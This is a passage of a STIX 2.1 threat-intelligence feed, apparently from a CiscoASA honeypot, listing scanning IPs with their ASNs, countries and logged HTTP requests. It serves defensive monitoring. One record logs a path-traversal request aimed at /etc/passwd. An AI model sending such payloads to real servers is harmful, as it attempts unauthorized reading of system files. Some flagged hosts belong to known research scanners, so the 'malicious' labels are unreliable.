      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--71d370de-6945-4d07-bdbd-1a4762aedb27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T00:20:03.000Z",
      "valid_until": "2026-04-30T00:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-28T23:21:43.658Z",
          "last_seen": "2026-03-28T23:22:01.926Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--f5a86825-915b-4760-b8fc-56664080e540",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.84.29.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T01:20:07.000Z",
      "valid_until": "2026-04-30T01:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-29T01:10:23.724Z",
          "last_seen": "2026-03-29T01:10:23.724Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T02:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--f998a3c5-79c0-4ea1-b4a3-1d6723773a38",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.201.209.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T02:20:12.000Z",
      "valid_until": "2026-04-30T02:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-29T01:41:06.555Z",
          "last_seen": "2026-03-29T01:41:06.555Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T02:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--36d64754-476b-4f6e-b2fc-8f792dadc109",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '52.23.231.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T02:20:12.000Z",
      "valid_until": "2026-04-30T02:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-29T01:41:03.345Z",
          "last_seen": "2026-03-29T01:41:06.349Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T04:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--7e3d1399-15e2-49f8-9605-ab7eb70fd03c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.89.83.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T04:20:03.000Z",
      "valid_until": "2026-04-30T04:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-29T04:10:03.973Z",
          "last_seen": "2026-03-29T04:10:11.637Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T06:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--af226ab2-641f-4681-bc01-a9d9cf97e5d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '134.122.96.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T06:20:02.000Z",
      "valid_until": "2026-04-30T06:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-29T05:45:56.738Z",
          "last_seen": "2026-03-29T05:46:03.845Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T08:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--8008d310-191d-4ad6-ac1d-9623bd0fa539",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T08:20:03.000Z",
      "valid_until": "2026-04-30T08:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-29T07:26:13.050Z",
          "last_seen": "2026-03-29T08:30:13.423Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T09:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--59d0d353-c324-4d20-9ee6-9332e45f8889",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T09:20:02.000Z",
      "valid_until": "2026-04-30T09:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-29T09:15:54.707Z",
          "last_seen": "2026-03-29T09:16:25.981Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /login/login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T11:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--1406f9b1-5c62-40f3-997e-a70ca6e808f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T11:20:19.000Z",
      "valid_until": "2026-04-30T11:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-29T10:27:29.965Z",
          "last_seen": "2026-03-29T10:27:32.969Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T15:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--912590df-822f-4546-a140-af87c53cff20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.212.201.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T15:20:02.000Z",
      "valid_until": "2026-04-30T15:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-29T15:12:25.083Z",
          "last_seen": "2026-03-29T15:12:28.086Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T19:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: DE; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--1d03f6e2-ff42-4140-a023-efe1dbf69a6b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.138.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T19:20:03.000Z",
      "valid_until": "2026-04-30T19:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-29T19:01:13.864Z",
          "last_seen": "2026-03-29T19:01:58.396Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T00:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 23470 (ReliableSite.Net LLC)",
      "id": "indicator--b2c21033-6eec-4b6e-8a28-374b09f2cbb4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.243.35.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T00:20:09.000Z",
      "valid_until": "2026-05-01T00:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 12,
          "first_seen": "2026-03-29T23:33:03.276Z",
          "last_seen": "2026-03-29T23:33:27.060Z",
          "country": "United States",
          "country_code": "US",
          "asn": 23470,
          "as_org": "ReliableSite.Net LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/agent.json HTTP/1.1\" 404 -",
            "\"GET /api/tags HTTP/1.1\" 404 -",
            "\"GET /api/version HTTP/1.1\" 404 -",
            "\"GET /metrics HTTP/1.1\" 404 -",
            "\"GET /queue/status HTTP/1.1\" 404 -",
            "\"GET /v1/models HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T00:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--e299b081-f3ad-4150-a9a5-96d1cdbdf7db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T00:20:09.000Z",
      "valid_until": "2026-05-01T00:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-29T23:47:48.198Z",
          "last_seen": "2026-03-29T23:48:05.625Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T00:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /version HTTP/1.1\" 404 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--50709f59-da31-4a49-add8-d4bc176f525b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T00:20:09.000Z",
      "valid_until": "2026-05-01T00:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-29T23:47:07.764Z",
          "last_seen": "2026-03-29T23:47:40.480Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET /version HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--84f5e365-ca81-4520-b886-fe31ec484498",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.80.189.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T01:20:12.000Z",
      "valid_until": "2026-05-01T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-30T00:57:33.068Z",
          "last_seen": "2026-03-31T00:58:56.794Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--96b37f52-fafc-424b-b1b2-4884cb917b98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.80.92.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T01:20:12.000Z",
      "valid_until": "2026-05-01T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-30T00:58:01.510Z",
          "last_seen": "2026-03-30T00:58:01.510Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--c0baf657-7467-4401-bcf0-7113ce258190",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.211.45.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T01:20:12.000Z",
      "valid_until": "2026-05-01T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-30T00:57:50.281Z",
          "last_seen": "2026-03-30T00:57:50.281Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--5833ce65-ec21-4d2c-810d-c7846e78d0e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T02:20:13.000Z",
      "valid_until": "2026-05-01T02:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-30T02:10:29.070Z",
          "last_seen": "2026-03-30T02:10:29.070Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T04:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cdn-cgi/trace HTTP/1.1\" 404 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--eaea4895-bb39-47a1-8f6f-206d20e14ed9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.83.161.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T04:20:03.000Z",
      "valid_until": "2026-05-01T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-30T04:13:34.062Z",
          "last_seen": "2026-03-30T04:13:34.062Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T07:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 206264 (Amarutu Technology Ltd)",
      "id": "indicator--c24038ec-dc60-4c29-851f-8887edf9bc8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T07:20:03.000Z",
      "valid_until": "2026-05-01T07:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-30T07:18:50.637Z",
          "last_seen": "2026-03-30T07:18:50.637Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 206264,
          "as_org": "Amarutu Technology Ltd",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T09:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cdn-cgi/trace HTTP/1.1\" 404 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--0e003560-94dd-47e2-9ec3-1a405a7a3708",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.12.182.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T09:20:04.000Z",
      "valid_until": "2026-05-01T09:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-30T08:48:58.931Z",
          "last_seen": "2026-03-30T08:48:58.931Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-30T09:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--e9cb47f7-961a-48d1-9929-200611358fc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
